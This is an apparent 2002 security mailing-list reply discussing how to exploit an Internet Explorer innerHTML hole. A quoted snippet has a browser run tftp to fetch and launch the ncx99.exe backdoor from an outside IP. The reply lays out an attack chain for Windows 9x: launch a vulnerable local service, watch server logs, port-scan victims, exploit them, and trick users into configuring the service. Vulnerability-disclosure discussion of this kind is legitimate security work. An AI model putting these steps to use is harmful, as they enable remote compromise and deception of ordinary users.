RE: Rather large MSIE-hole

From: Wall, Kevin (Kevin.Wallat_private)
Date: Thu Mar 14 2002 - 10:37:10 PST

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    Felipe Franciosi wrote...
    
    > > var programName=new Array(
    > >      'c:/winnt/system32/tftp.exe -i xxx.xxx.xxx.xxx GET ncx99.exe',
    > >      'c:/winnt/system32/ncx99.exe',
    > >  );
    > 
    > MS Windows 9x don't have trivial ftp client by default... I was
    > thinking how this could be exploitable on these versions...
    > 
    > The FTP client offers the option to read a text-file containing
    > line separated commands.
    > 
    > But I couldn't get to work something like:
    > var prog...
    >       'c:/command.com /c echo bin > c:/list.txt',
    >       'c:/command.com /c echo GET something >> c:/list.txt'
    > 
    > this won't create 'list.txt'... Any ideas why? Or how some could
    > get around it?
    
    On Win9x systems, rather than targeting FTP or a command shell,
    what about starting up something that simply causes a exploitable
    process to listen on some port # (will vary, depending on
    application) and then separately trying to exploit that. One
    could monitor one's web server access logs to notice when someone downloaded
    the first half of the exploit (the innerhtml hole). 
    (Alternately, write a servlet/JSP/CGI script and you don't
    even need to monitor the log file.)
    
    If the User-Agent corresponds to MSIE, then at some time late
    (perhaps wait t minutes later), gently port scan the remote
    IP address to see if the application was launched. If the port
    scan succeeds, then go into full exploit mode. (This assumes an
    exploitable application that is normally not running and no
    pesky personal firewalls, etc. to be sure. But certainly some
    combinations would be vulnerable given the cluelessness of the
    typical Windoze users and their disdain for ever updating their
    system with security patches.) A bigger assumption is choosing
    an exploitable application that (preferably) launches without
    user intervention or requires any command line arguments. I
    don't know that much about Windoze apps, so all I have is one
    candidate application [see below.] (I do all my development
    for Solaris; I just have to use WinNT & LookOut! from work--sigh).
    
    However, the "Personal Web Server" that comes with Win98 (and
    perhaps other Windoze systems?) comes to mind as a possibility.
    The Personal Web Server is so full of holes that the executable
    name is probably 'swisscheese.exe'. I seem to recall doing a
    Win9x re-install for a friend where I think I was prompted as
    to whether I wanted to RUN it, but I don't remember it prompting
    if I wanted to load it. IIRC, that might mean that it was
    installed, but just not started, by default. (Or perhaps it's
    part of a commonly choosen package.) I never ran PWS, so I don't
    know if the Personal Web Server needs to be configured first to
    run or what. (If so, perhaps a bit of social engineering is in
    order. Tell people that a certain wizard dialog box is going to
    pop-up and and give them instructions how to configure it,
    making up some excuse as to why they should do this. Surely
    someone would fall for it.) The "good" thing about the
    Personal Web Server is that I believe that Microsoft's attitude
    with it with respect to security vulnerabilities has been pretty
    much to ignore them and to tell people to run IIS instead (since
    IIS is so much more secure ;-).
    
    Anyway, just my $.02 worth. BTW, just so you know, these are
    my personal opinions and in no way reflect the views of my
    company.
    ---
    Kevin W. Wall	Qwest IT, Inc. / Security Infrastructure Dev Team
    Kevin.Wallat_private	Phone: 614.932.5542
    "Wipe Info uses hexadecimal values to wipe files. This provides more
    security than wiping with decimal values."
    		-- Norton System Works 2002 manual, pg 160
    



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